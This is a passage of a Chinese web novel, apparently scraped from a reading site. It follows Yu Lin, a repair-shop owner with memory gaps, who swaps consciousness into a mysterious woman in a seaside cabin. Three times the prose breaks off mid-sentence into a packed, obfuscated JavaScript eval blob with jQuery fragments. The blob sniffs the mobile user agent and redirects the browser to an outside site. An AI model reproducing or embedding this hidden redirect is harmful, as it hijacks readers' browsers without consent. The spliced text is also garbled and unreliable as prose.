庾林并不介意,反倒利用众人的好奇心,逮住一个就开始发展业务。 那些人也不好意思白看,一旦被庾林揪住,就只好谎称家里什么电器坏了,自然而然,就成了庾林的客户。 时间一久,这种该死的好奇心也就慢慢淡了。 电器维修店的隔壁,是一家花店,女店主年纪不大,看上去和善健谈,毫不在意庾林原本是个理想者。 见面次数多了,两人也渐渐熟络起来,相互道了姓名。 庾林终于知道,女店主名叫齐绮,大学毕业后就在这里开了花店,她家人不在本地,也很少管她,反倒是大学时认的干爹干妈与她关系更好些。 她干爹干妈住在滨山区,开了家面馆,她每逢周末有空,就会回去看看,顺便蹭两顿饭。 对庾林,齐绮简直无话不说,这让庾林有些“受宠若惊”。 一日,庾林忍不住好奇心,旁敲侧击:“齐小姐对所有人都这么……热情?” 齐绮哈哈大笑起来,笑过后又觉失礼,赶紧道歉:“不好意思,我也不是对谁都自来熟,就是觉得看到庾先生,莫名有种亲切感,好像以前就认识一样。” “呵呵,理解。”庾林笑容有些僵硬,擦了擦额头冷汗,纠结片刻,终是开口提醒,“虽然但是,齐小姐不是我喜欢的类型。” 齐绮脸上维持着笑容,可眼神简直要刀人,“嘻嘻,没人告诉你,这样很没礼貌吗?” “抱歉,但觉得有必要表明我的想法,避免引起不必要的误会。”庾林严肃回应。 “哈哈哈,真是神经,庾先生应该很难找到女朋友。”齐绮回得毫不留情。 庾林笑里藏刀,“我也没有这种想法,谢谢!” 话挑明后,两人关系却并没有因此恶化,反倒成了朋友。 在庾林因修电器惹怒客人时,齐绮会适时充当和事佬,帮忙扭转不利的局势;而齐绮花店忙不过来时,庾林也会适当帮忙,缓解齐绮的工作压力。 庾林不记得自己有关于鲜花处理的经验,可每次上手都是水到渠成,连齐绮都不得不夸他有天赋。 “天赋吗?” 庾林盯着手里的花朵发呆,一时无言。 在禁仿区开电器维修店一周后,庾林接到了一个奇怪的电话。 以前他习惯了什么事都交由康管家处理,所以能拿到他手机号码的人不多,就算真有人打来电话,除非是庾双和何洲,他通常不会接听。 可现在情况不一样了,他得自己应付禁仿区的生意。因此秉承着不能得罪任何一位客人的服务意识,庾林耐着性子接听了来电。 “您好,庾先生,这里是滨山区祥吉珠宝店,您在本店定制的对戒已完工,请及时到店取货。本店也提供送货上门,如需服务,可留下您的联系地址。” 对面急切地向庾林说明着情况。 庾林听完一头雾水,“对戒?什么对戒?” “哦,时间有点久了,可能您记不清了。原本两个月前就应该交货了,可本店一直尝试打电话联系您来取货,电话却一直未能接通。” 对面试图解释,言辞恳切,并竭力想要撇清责任。 庾林不记得自己定制过什么对戒,直到对方提供了他的付款信息,他才相信这并不是一场骗局。无奈告之了电器维修店的地址后,他带着满心疑惑,挂断了电话。 “滨山区?我去过吗?” 庾林努力回忆,而记忆似乎在尽力帮他寻找到合理的解释。 他隐约想起自己曾为了散心去过一次滨山区,还在那里花钱找了个导游,带他在滨山区旅游了几天。 当时走的路线完全是滨山区的营销骗局。 大概就是那个时候被骗着定制了情侣对戒。 想着反正以后说不定能用上,庾林也就释然了,毕竟被骗这种事,光是想想都觉得丢脸。 想起齐绮说过她干爹干妈就住在滨山区,而且也开了一家面馆,庾林一边想着“不会这么巧吧”,一边走到了隔壁花店。 “齐小姐,你干爹干妈开的面馆叫什么名?” “嗯?一周面馆。怎么了?” “啊!”庾林瞠目结舌,“我去过……” “不会吧……这么巧?难怪我看你亲切,不会是在面馆见过吧?”齐绮感叹着两人之间的缘分。 “也许,我记得当时还找面馆老板帮忙,在当地寻了个导游,但我想不起对方名字了,能帮我问问吗?” “可以!” 齐绮爽快答应,并立马拿出手机帮忙打电话询问。 等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15335886|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待答复的间隙,庾林在花店里转了一圈,最后停在柜台前,视线被上面摆放的两个陶瓷水杯吸引。 眼熟,好像在哪里见过似的。 做工有些粗糙,显然不是出于专业陶瓷设计师之手,更像是两个初学者的作品。 一个外形像石榴,揭开杯盖,就像在石榴顶部切了一刀,连带着花萼一同揭起。向杯子里看去,内壁密密麻麻画着鲜红的石榴籽。若是添上水,当真像个颗粒饱满的石榴。 另一个与其说是水杯,不如说是个花瓶,从内到外皆被花朵占据,每一朵花都不重样,精心装饰,层次分明。若说是摆件,还挺有意思,若说是喝水,那就是有病。 不一会儿,齐绮挂掉电话来到他身旁。 结果并不如庾林所想,一周面馆的老板并不记得给人介绍过导游,不过对于有理想者去过面馆的事尚有印象。 “是么……可能我记错了……” 庾林一瞬间感觉记忆不太真实,朦朦胧胧地浮在脑海中,风一吹,就像雾气一样散开了。 也许是上次住院的后遗症。 庾林如是安慰自己。 自从那日在医院昏倒后,他时常进入一种恍惚状态,偶尔会感觉周围的一切都不真实。 有时甚至会觉得自己早就死在五年前那场大火里。 因为他实在想不起,自己究竟如何能从无路可逃的大火封锁中逃离? 那场大火中,张婶似乎同他说了点什么,可他怎么也想不起。唯一记得的事,是在父亲的阴谋里,那名叫夜白鹭的协议危代人成了牺牲品,作为杀人嫌犯被全城通缉。 庾林很后悔当年没能为那人澄清。 可惜不久前,夜白鹭的账号持有人,因为连环凶案落网了,最终被判死刑。 这样的结局,令人唏嘘。 庾林时常怀疑,五年前活下来的究竟是百泉,还是张婶。可现在似乎没有思考的必要了,因为不管是哪一个,最终她都走上了杀人偿命这条不归路。 庾林没有在导游这件事上过多纠结,话锋一转,指着柜台上的两个杯子问齐绮:“这是你做的?” “不是。”齐绮笑着答道,“估计是以前的室友留下的东西吧。庾先生喜欢?可以送给你。” 庾林觉得不妥,“不好吧,万一哪天你室友回来了。” 一句话脱口而出,顿时让齐绮陷入沉思。她恍惚了好一会儿,才苦笑着回答:“希望还能回来吧,但我怎么觉得她不会回来了呢……我甚至都记不起她为什么要离开了,是走得太久了吗?” 几乎自言自语,齐绮原本如朝阳一般的脸上,罕见地出现一缕愁思。 这世上,不知从何时起,每个人都似乎遗忘了什么事。 就像不久前,庾林帮同学黎浩哲定制的仿生人终于完工,他特意跑了一趟黎浩哲的工作室,想确认他是否对货品满意,而黎浩哲却已经想不起,自己究竟为何要定制这样一个仿生人。 黎浩哲怅然若失:“我干嘛要跟肖蕾分手?又贱兮兮地做个跟她一样的仿生人……我是不是有病?” “嗯,你平时就挺像有什么大病。” 庾林毫无同情心,开口就是硬怼,他才不关心黎浩哲发什么神经,只想黎浩哲赶紧把尾款结清。 “庾林,我决定去找肖蕾,挽回她的心,你支持我吗?”黎浩哲一脸期待地问他。 庾林冷淡回答:“支持,但不支持退货。” “哎,活该你单身。”黎浩哲一脸鄙夷。 “嗯,谢谢惠顾,别忘了把尾款汇到态宇科技。”庾林毫不在意。 只是离开黎浩哲的工作室,庾林心里隐隐作痛,曾几何时,他似乎也这般想要抓住某人的手不放,可那样的存在飘渺得令人害怕。 在无数个夜晚,他好像看到过一个模糊的身影,却从未看清过。 梦一醒,就什么都忘了。 125. 第125章 大约四个月后,庾林彻底习惯了禁仿区的生活,那些来修电器的客人,也很少再对他的身份指指点点。 短短四个月,庾林住的地方多了一些原本不应存在的东西。一对危机管理局定制手环造型的对戒,两只从隔壁花店买来的手工陶瓷水杯。 每样都来得莫名,却又让庾林丢不下。 这天周末,放暑假的何洲随母亲庾双来禁仿区探望庾林,一见面就开始向庾林诉苦,只道追求学姐清悦失败,被学长摘了桃子,心中意难平。 他曾试图通过危机管理局寻求解决办法,却依然没能挽回学姐的心。 庾林闻言嗤之以鼻:“感情的事,别人帮不了你,等你什么时候学会自己面对,才能真正留住想留的人。” 何洲赌气道:“这种话从小舅舅嘴里说出来,一点说服力都没有。” “你小子是不是活腻歪了?” 庾林余光一瞥,一记手刀劈在了何洲头顶。 何洲疼得吱哇乱叫,然后躲到庾双身后,指着庾林愤愤然道:“小舅舅自己还戴着定制手环,不也靠协议危代人解决麻烦事嘛,说得这么冠冕堂皇,到头来跟我有什么区别?” 庾林觉得何洲这家伙越来越没大没小了,可说到定制手环,一时又无法反驳。 其实他已经很久不使用危机管理局了,可他从未想过去解除私危协议,即使每个月都在交高昂的会费。 为什么没解约呢? 庾林甚至从没思考过这个问题。 低头看着手腕上的手环,庾林陷入某种无法言说的恍惚中。 见他莫名沉默,庾双怒瞪何洲一眼,索性一巴掌打在了身后何洲的嘴上,看似很用力,却雷声大雨点小。 “再废话,下个月起零花钱减半。” 在庾双的经济威胁下,何洲果然不敢再多言。 解决掉多嘴的何洲,庾双总算开口说起正题:“还记得以前托我找你帮忙定制仿生人的白馨吗?” “哦,有点印象。”庾林漫不经心地回答,“上次因为误会并没谈妥,这么久了,还没找到设计师?” “你这榆木脑袋,怎么光想着生意。”庾双取笑,“上回虽有误会,但白馨对你印象不错,有没有考虑过,与她多接触看看?” 看庾双的眼神,庾林大抵猜到了庾双的心思。 难怪今日与何洲一道来探望,原来庾双真正用意不在看,而在探。 探一探他的口风,好给他张罗一回相亲。 庾林面上一副波澜不惊的样子,自如应对: “接触吗?你好像忘了我现在是守旧者,白馨会愿意跟守旧者接触吗?” 庾双似乎早有准备,回得平静:“改籍就能解决的事,哪能成为感情发展的绊脚石呢?” “噗——” 一个没忍住,笑声便从嘴唇缝隙中挤了出来,见庾双一脸惊诧,庾林忙收敛笑容,正色道:“以前怎么不见你这么说?” “啊?以前是什么时候的事?” 庾双表情从惊诧转为茫然。 骤然间,被这句话问懵了,庾林微微一怔,方意识到自己说了一句奇怪的话。 以前? 什么时候也发生过类似的事吗? 此刻他比庾双更加茫然。 “没什么,就随口说说。”庾林淡然藏起心中迷惑,若无其事地一带而过,并不打算继续深究。 庾双没放在心上,转而追问:“那你同意与白馨再见上一面吗?” “没必要,我现在还没有与人交往的想法。”庾林答得果断。 何洲趁机出言调侃:“还没想法啊,小舅舅,你不会等我先结婚吧?” 话刚说出口,庾双就一脚将何洲踢到了一边。 何洲一脸委屈,嘴里嘀嘀咕咕:“说实话有罪吗?也不知道小舅舅怎么想的,五年来与谁都不亲近,还被外界传厌女,是有什么心结吗?” “闭嘴!” 震怒的人是庾双,追着何洲满屋跑。庾林反倒置身事外般淡定。 对于何洲的不理解,庾林没什么好解释的,连他自己也不知道究竟为何。 这五年来,他就好像生了一场大病,不知何时开始,也不知何时结束,恍恍惚惚就来到了现在。 厌女吗?怎么可能。 为了安庾双的心,也为了堵何洲的嘴,他最终同意与白馨见一面。 大概让对方觉得他不适合交往,便可让庾双暂时死了这条心,也让他可以安心再虚度几年光阴。 不过,该如何让白馨对他丧失兴趣呢? 他细致研究过后,才觉得惹人讨厌和招人喜欢,同样是件麻烦事。焦头烂额之际,余光瞥见了手腕上的手环。 教训何洲的话倏然回响在耳边。 感情的事,别人帮不了,但帮倒忙的事,非别人莫属。 花了这么多钱,总该轮到危代人表现了。 7月14日这天,庾林约了白馨在街角咖啡厅碰面。他一身守旧者打扮,高调得如同唯恐对方忽略他身份一般。 白馨如约而至,穿着优雅得体,头发微卷,说话娇滴滴的,一举一动透着妩媚。 庾林点了两杯咖啡,却下意识将自己那杯推到了一边。等回过神,自己也不知道为何鬼使神差做这样奇怪的事,又不动声色地将咖啡杯挪了回来。 白馨还未开口,庾林就当着她的面,在手环上戳戳点点。 十秒钟后,庾林意识离开了咖啡厅,准备在虚拟度假村一直待到见面结束。 “相亲找替身,应该没有女生能够忍受这种处事态度吧?感觉会被咖啡泼脸了,没关系,还好有危代人做挡箭牌。” 庾林心里这么盘算着,睁开了眼睛。 “嗯?这就是虚拟度假村?” 好像有点寒酸…… 这是一间位于海边的小木屋,咸咸的海风不时从窗口闯进屋内,带着些许潮湿的气息。 屋子里陈设简单,幸好有鲜花相伴。 庾林走出小木屋,举目四望,除了沙滩和一望无际的海面,再无别的设施。甚至不见任何一位接待人员,他转了一圈,连呼叫服务的操作台都没有找到。 好一个虚拟度假村…… 他以前来过这里吗?记忆再次模糊。 无奈之下,庾林只好重新回到小木屋,准备等相亲结束,立马向瑞波恩科技投诉。 他花了那么多钱,造出一间小破房子就被打发了? 那不可能! 无所事事的庾林只能躺在床上,看着天花板发呆。 “咚咚咚——” 房门突然被敲响,一个男人的声音从屋外传了进来: “兄弟,给你送午饭来了,对不住啊,今天手上事多,来晚了。” 庾林开门,只见屋外站着个穿着休闲,头戴墨镜,年纪轻轻却故作老成的男子。 男子冲他笑了笑,毫不见外地推他进门,将手里的盒饭搁到桌上,与他一左一右坐到了餐桌旁。 “最近身体好些了吗?” “先吃饭吧,还热着呢。” “你确定要在这种没有人烟的地方继续住下去?” “要不跟我去温泉山庄吧。” 男子嘴有些碎,可以感觉到关心,却自说自话,话太密,不给庾林任何提问的机会。 听他唠叨了好半天,庾林的耐心终于耗尽,抬手捏住了男子的两瓣嘴唇。 男子跟只鸭嘴兽一样,上下唇被庾林挤压到一起,噤了声,一脸疑惑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344370|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地注视着庾林。 “瑞波恩就是这么待客的?”庾林沉声质问。 可发出的声音让他匪夷所思,就好像装上了什么变声器,甚至从男声变成了女声。 庾林诧异地收回手,搞不懂这声音怎么回事,下意识摸了摸脖子。然而手指的触感更是离奇,什么时候连喉结都消失了? 忽然想到什么,他低头看了看手。 十指纤细柔软,皮肤细腻,分明就是女孩的手…… 什么情况? 虚拟度假村这么乱来? 当庾林陷入惶恐之中时,男子揉着嘴周泛红的部分,毫无脾气地说道:“我明白,你担心还有人不死心。放心吧,这世上除了我,没人会相信你才是夜白鹭。” “夜白鹭?” 话题怎么会扯到夜白鹭身上,有种牛头不对马嘴的感觉。庾林心中疑惑,不知瑞波恩的虚拟度假村到底走的什么路数,情景cosplay? 男子丝毫没有感觉到异样,继续讲着自己的台词:“我确认过了,夜白鹭因涉嫌连环凶案,连同涉案同伙,全都处以死刑了。” “还紧跟时事……”庾林哭笑不得点评,“不过给我安上夜白鹭头衔,有什么特别用意?” 本想看这AI生成人物打算开展怎样的剧情,谁知对方一脸惊恐,抬手抚上他额头,吓得他从椅子上蹦了起来,连连后退。 “兄弟,你不会又发烧,烧糊涂了?不行,我得给你买药去……” 说完这句话,男子就慌慌张张离开了小木屋。 “喂,这是什么剧情?”庾林冲着那人背影吼了一声。 没什么作用,那名男子仿佛没听见似的,快速消失在视野中。 庾林环顾四周,瞥见衣柜旁摆着一面穿衣镜,在好奇心驱使下走了过去。 镜子中陡然出现一名年轻女子,身形消瘦,面色苍白。 只是一眼,庾林彻底愣住。 明明眼前憔悴的女孩模样实在说不上夺人眼球,可庾林就是挪不开视线。那个无数次出现在他梦中的身影,在此刻仿佛有了实体。 这是谁? 危机管理局为何要将他变成这样? 正当庾林满心疑问之时,手环亮起了白光,协议委托人发来了任务完成申请。 庾林看着镜中模样犹豫了半晌,终是咬牙同意了申请。 下一秒,庾林离开虚拟度假村,返回到自己身体,而面前已无白馨身影。 看来目的达成,白馨多半会向庾双告状,斥责庾林不尊重人。 庾林此刻并不在意会面对姐姐怎样的怒火,更让他在意的是虚拟度假村里看到的那个女生形象。 不过,他前脚刚回到店里,后脚庾双的电话就来了。 庾林已经做好被骂的准备,然而对面不是欲言又止,就是唉声叹气,最后憋了半天憋出一句:“不管怎样,我尊重你的决定,以后我不会再过问了……” 说完就挂了庾林的电话。 一头雾水的庾林,直到傍晚,何洲来找他吃饭时,才终于明白庾双为何是这种反应。 “你跟白姨说你喜欢男人,我妈只能尊重祝福咯。” 何洲一边说着,一边打量起庾林,仿佛在确认庾林的取向是否和他说的一样。 庾林将何洲的视线瞪了回去,坦言:“我当着白馨的面启动了里人格,这她都能信?” 何洲憋笑道:“很难不信吧,那危代人说是你男朋友,你不好意思说出口,所以才让他代为传达。噗……难怪五年都不见你有什么动静,原来……早就有心上人了。” 在何洲的取笑声中,庾林的脸青一阵红一阵,最后彻底黑了。 何洲被他扫地出门,而协议危代人也收获了一个差评。 126. 第126章 瑞波恩专属客户经理023一大早就开车来到位于涟上区龛云路电器维修店。 昨晚因为VIP客户的一个差评,他被强制拉回公司加班。又是联系客户道歉,又是联系危代人了解情况,然后好不容易约好登门协商解决问题。 因此,今天起了个大早,023就踏上了协商之路。 自从开始负责庾家少爷的对接业务后,他就一直战战兢兢,这位少爷要么默不作声,要么一鸣惊人。不过大半年的时间,又给他送上一记差评让他跑断腿。 也不知是怎样的缘分,这次委托人和危代人比邻而居,倒省了他两区来回折腾的麻烦。 023将车停在街边,坐在车里一直等到对面两家店开门。 他满脸堆笑,叫住了两位店主,匆匆下车迎了上去,“人到齐了,要不我们找个地方坐坐,协商一下怎么解决昨晚的差评?” 两位店主探头对视一眼。 “齐小姐是乌鸦?” “庾先生,你是那个差评狂?” 023只觉无语,忍着想骂人的冲动,笑道:“两位去年不是见过吗?也是因为差评,当时同样是我带齐小姐登门道歉,后来你们和解了来着。” 对于023的描述,两人仿佛听不懂他在说什么。 庾林记得这件事,但不记得那人是齐绮。 齐绮压根就不记得自己过去一年什么时候用过手环,但却莫名对爱打差评的委托人有些模糊印象。 “乌鸦这个账号是大学时候申请的,当时存粹觉得好奇,玩过几次后没再用了啊……”齐绮满头雾水。 “呃……去年私危协议不是齐小姐签的么……” 023没想到协商能协商成这样。 这是什么路数?难道齐绮打算用装傻来蒙混过关? 不行吧…… 023为齐绮捏了一把汗。 齐绮手指抵在额头,闭眼努力思索了一番,好像确实有签协议的记忆,却不明白自己都不用危机管理局,签私危协议干嘛。 “协议好像是我签的,可我连定制手环都没有,怎么可能是我在完成庾先生的委托呢?”齐绮说着伸出手腕,向两人展示上面没戴任何东西。 这么拼吗?直接手环都不戴了? 023偷瞄着齐绮,心里思考着要不要陪齐绮一起装傻。 庾林一脸阴沉,抱着手臂,盛气凌人地质问:“什么意思?那昨天接委托的人是谁?” 023恍然大悟一般拍手道:“我知道了,齐小姐的定制手环失窃,一定是盗用者破坏了庾先生的委托!看来是误会,这样吧,庾先生先撤销差评,瑞波恩愿意退回本月产生的一切费用。两位解除私危协议,后续我可以为庾先生推荐更厉害的危代人。至于这手环,就由我带回瑞波恩销毁……” 庾林:“不用!” 齐绮:“那不行!” 两人几乎同时叫出了声,互看一眼,虽不明白对方为何拒绝023的解决方案,但心中有种强烈的念头——这只手环很重要。 023一脸不解,特别对于齐绮,他明明顺着她的话,编出了最有利她的说辞,怎么她还不乐意了呢? 齐绮口风来了个180度大转弯,“哦,我想起来,昨天花店生意太忙,就把委托的事完全忘了。是我,因为着急回店里,所以委托应对得有些马虎。庾先生,对不起啊,我可以赔偿!” 庾林回:“哦,没关系,昨晚在气头上,做事不理智,我本来就打算今天撤销差评。” 在023还没搞清楚情况的时候,两人就已经完成了世纪大和解。 023只能带着一头雾水告辞离开。 但刚走出一步,庾林就叫住了他,问了个奇怪的问题:“你们的虚拟度假村设计理念到底是什么?” 023将员工手册背得滚瓜烂熟,什么为客户提供一切便利,什么致力于打造最极致的度假体验,什么营造宾至如归的环境……总之将瑞波恩的服务理念吹得天花乱坠。 庾林越听,眉头皱得越深。 “也有剧情演绎和cosplay?”庾林小心翼翼询问。 023一愣,慌忙拿出手机将庾林方才说的话记了下来,“啊,庾先生的提议我会跟公司反应,以后会按照客人需求,更新更多体验项目。” 听023这么回答,庾林不得不怀疑,昨天他的意识究竟被扔到哪里去了? 庾林没再说什么,送走了023,并让023处理差评撤销事宜。 等023走后,庾林走到隔壁花店玻璃门旁,望着里面正忙碌整理的齐绮,好奇确认定制手环是否真在齐绮手上,还是真的失窃。 齐绮跟他一样困惑,思索了许久,最后表示,也许是以前的室友带走了。 “如果她想靠危代任务赚取生活费,我随意解约,岂不是断她后路?”齐绮深明大义地说道。 庾林有些佩服齐绮的大度,不过,昨日那糟糕的委托体验,让他十分怀疑对方能否靠这一行吃饭。 “如果能联系上你室友,劝他趁早改行。”庾林调侃。 齐绮面露难色,“呵呵,可惜我连她名字都忘了,也没有联系方式,要不你帮我联系她?” “我怎么联系?”庾林有种不好的预感。 齐绮笑而不语,抬手指了指庾林的手环。 果然,他就不该多嘴。 这天起,庾林为了帮齐绮联系上室友,不时发布无意义的委托任务,只为让齐绮与室友见上一面,叙叙旧,聊聊天。 其实庾林之所以那么轻易答应齐绮,还有另一层考虑。 他还想再进入虚拟度假村看看,见见那张让他莫名在意的脸,探探究竟是怎么一回事。 齐绮想要弄清被遗忘的室友,而庾林想要调查虚拟度假村的诡异,两人各取所需。 晚上关店,解决吃饭问题时,他叫上齐绮,以让危代人代为做饭为由,提交了委托任务申请。凭着这个借口,庾林顺理成章将协议危代人交给齐绮,而自己则踏入了那处奇怪的“虚拟度假村”。 依然是那间海边小木屋,而他的样子也同样变成了陌生的女人。 桌子上摆放着炸鸡薯条,看样子又是那位自说自话的AI服务员送来的食物。 “身体都消瘦成这样了,还吃这些?” 庾林心里有些窝火,嘴里嘀咕了一声,话说出口,却又觉得奇怪。 他这话怎么像是在关心谁的身体? 不,按理说,镜中的人,应该是他在度假村的虚拟形象。 自己同情自己吗? 庾林在小木屋里调查了一番,没有任何关于这个形象的线索,甚至没有与外界联系的通讯工具。 这里真的是虚拟度假村吗? 带着这样的疑问,庾林离开了小屋。 小木屋面向大海,背靠森林,一副人迹罕至的原始感。 庾林晒着月光,漫步在沙滩上,顺着海岸线走了许久,终于看到树林后出现一条公路,而公路一路延伸,在遥远的尽头,隐约可以看到一座城市。 “瑞波恩给我安排的是荒野求生剧本吗?离谱……” 光靠脚走,庾林感觉一晚上都走不进城里,而且现在这副虚拟身体似乎虚弱了点,才走了半个小时,他就觉得气喘。 于是庾林就在沙滩上席地而坐,吹吹海风,看看海景,然后突发奇想,用手指在沙滩上留言: 【下次请安排我到城里住酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15348788|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 店!】 休息了一会儿,手环收到任务完成申请,庾林就此离开了那片沙滩。 等重新拿回身体控制权,庾林发现自己与齐绮正对坐在餐桌前,而两人面前各摆放着一碗泡好的方便面。 “四十分钟了……就泡了一碗方便面?” 庾林手里拿着叉子,目瞪口呆,如果不是齐绮拦着,他又想给个差评了。 “呵呵,泡面也挺好的,毕竟,安全!” 齐绮笑容有些尴尬,不好意思地抬手指了指厨房。 庾林回头看了一眼,只觉眼前一黑。 哪里还是厨房,就说是战场,庾林也是相信的。他更加坚定了自己的看法,义正辞严地对齐绮说:“果然还是劝你室友转行吧!” 向齐绮确认后,才知协议危代人是想按照委托内容做饭来着。可是难度对这危代人来说,似乎太高了些。 齐绮算是在厨房见识了人类驯服手脚的珍贵画面。 不过她并没有就此嘲笑对方,毕竟,齐绮自己的水平也差不多就这样。 折腾了大半个小时,能用的食材基本全废了,跟什么暗黑料理一样,看着就没食欲。齐绮索性从家里拿了两盒泡面过来,顺利帮危代人解决了任务危机。 庾林问:“确认是你室友了吗?” 齐绮摇了摇头:“你安排的任务太难了,我俩全程一惊一乍,根本没空说话,就担心一说话,把你房子烧了……” “难……” 难点在哪里?庾林一时语塞。 这答案好像不用齐绮问,他也猜了——绝对是室友!恐怕很难再找到两个气场这么和的人了…… 于是第二天,庾林想出了一个简单到白送钱程度的任务。 他一大早就到了齐绮的店里,以要给女孩送花为由,让危代人来帮他选花。 再次来到小木屋,他的留言似乎没有起到任何作用。 此刻他还穿着轻薄的睡裙躺在床上,毯子搭在胸口,大腿因睡姿露到了裙外,吓得庾林跟诈尸了一样,一跃而起,笔直站在床边,大气都不敢出。 “这小丫头,还没改掉贪睡的习惯。” 庾林下意识地念叨一句,又陡然回过神。 他在说什么呢?这不是他的虚拟形象吗? 脑子有些混乱,他莫名觉得早就习惯被这具身体惊到了。 难道以前进入虚拟度假村时,他也是这般模样? 正疑惑时,庾林晃眼瞥见房间里多了一块软木留言板,就挂在穿衣镜旁。留言板上正钉着一张纸条。 庾林记得很清楚,昨晚房中还没有这块软木留言板。 “难道是度假村终于升级,开通客服联系通道了?是不是太原始了点……” 庾林一边吐槽,一边走到软木留言板前,只见纸条上留着一句话。 ——【不许提要求!还有,别乱跑,知道我走回来多累吗?】 看上去,是对他留言的回复。 这样的回复,他实在不认为能是瑞波恩客服。 一种想法油然而生: 他的意识会不会根本就没被传送进虚拟世界,而是进入了某人体内? 而且,这人对于他的出现丝毫不觉意外。 当他产生这个想法时,那种莫名的熟悉感又将他包围,余光掠过镜子,镜中那张脸让他心里堵得慌。 庾林提笔在纸条上留下了一句话。 ——【你是谁?】 几分钟后,庾林离开了小木屋,回到花店,手上却抱着一束黄白搭配的菊花花束,而齐绮正面露尴尬冲他笑着。 哪家正常人会选这样的花束送人啊?跟人有仇吗? 嗯,果然,这人不适合做危代人。 127. 第127章 那日之后,协议危代人就彻底销声匿迹。 齐绮说,那人承认盗用了危机管理局账号赚钱,但并不承认是齐绮的室友。那人无意中捡到定制手环,接了两次委托,才发现打到账户里的钱自己根本用不了。 随后那人又向齐绮保证,以后不会再随便使用她的账号了。 此后,那人当真守诺,无论庾林发布什么委托任务,都不再有回应。 连强制切换都无效,看样子,那人已摘掉手环。 关于私危协议,仿佛突然成了一场梦,梦里的一切都不真实,连回忆都变得模糊不清。 不久后,庾林终止了私危协议,彻底为这份错乱的记忆画上了句点。不过,那只定制手环终究被他保留下来。不知何故,大概只是想留下一份纪念。 虽告别了危机管理局,但镜中那张脸,总在不知不觉间,闯入庾林的脑海。 午夜梦回时,工作失神发呆时,因别人一句话莫名触动时……不经意便会浮现,带着让他放不下的疑问。 庾林自始至终都不知道那人是谁。 后来不死心的庾林借何洲的委托人手环,重返了一次危机管理局。他在任务大厅随意发布了一个任务,只为再回到那间海边小木屋。 然而意识转移后,他发现自己进入了瑞波恩科技精心打造的虚拟度假村…… 果然,那间小木屋不是虚拟世界。 但是,庾林不知那小木屋在何处,也不知该从何找起…… 大约3个月后,庾林逐渐从那份想要弄清真相的欲望中挣脱,慢慢接受了一切都只是一场梦。 这日,很久不曾露面的进研所调查专员又突然登门造访。 庾林与褚成舟的关系,不过是因为连环凶案见过几面,他不认为褚成舟只是闲来无事上门探望。 褚成舟一进门,简单寒暄两句,询问庾林近况后,就彻底暴露了意图。 褚成舟将手机递到他面前,眼底含笑,饶有兴致地提问:“最近庾先生有见过这个人吗?” 庾林随意瞥了一眼,可视线刚落在屏幕上,整个人都僵住了。 屏幕上是一张年轻女孩的半身证件照,面露无所畏惧的表情,冷眼直视着镜头,最关键的是那女孩他见过。 一瞬间,庾林似乎又回到了三个月前那间小木屋,镜中的女孩大抵也是这般模样。 只是镜中的女孩虚弱得令人心疼,而照片中的女孩坚韧得如同一盆仙人掌,竖起浑身尖刺,在阳光下绽放出无限生命力。 可照片中那双眼睛,不,是眼神,莫名与他有些相像。 “这是谁?”庾林神情凝固,不答反问。 “进研所在追查的一位嫌疑人。”褚成舟回答简单。 “什么嫌疑人?” “进化者。” 褚成舟答得坦荡,庾林笑得不留情面。 不知从什么时候起,进化研究所在全球范围内兴起,他们致力于研究异能,世间一切超出认知的事件,都会被纳入异能研究范畴。 这么多年过去,对于世上是否存在所谓的进化者,绝大多数人持怀疑态度。 而现在,进研所已经成为时代的眼泪。 各地陆续关停了进研所,凌沪市的进研所也濒临解散。 在大众眼中,这个研究组织一直在浪费纳税人的钱,做着不切实际的事,如果有一天,进研所彻底从世上消失,也许是种皆大欢喜的结局。 毕竟,对世人无用的东西,迟早会被世人抛弃。 庾林问:“你有证据证明这个女孩是进化者吗?” 褚成舟被问得一愣,叹了口气,说:“没有,这照片是她去进研所接受检测时留下的记录,可惜,结果显示一切正常。” 庾林冷嘲热讽:“检测没问题还能列为嫌疑人,真不愧是进研所,一件人事不干。” 褚成舟不以为意,“也许她是这世上仅存的进化者之一呢?只要能找到她,说不定就能证明进化者的存在,让世界重新回到正轨。” 庾林笑道:“褚专员很执着,有没有想过换个职业?” 褚成舟耐着性子问:“比如?” 庾林:“探索外星文明,去外太空寻找外星人,应该比寻找进化者容易吧?” 褚成舟笑得不痛不痒,一副不与无知者一般见识的模样。 “没见过就算了,如果哪天她出现在你周围,请务必联系我。”褚成舟说着递上一张名片。 庾林没有当面拒绝,接过名片,若有所思,“你凭什么觉得我能看见她?” 褚成舟笑得别有深意,“不为什么,调查专员的直觉?” “呵,慢走不送。” 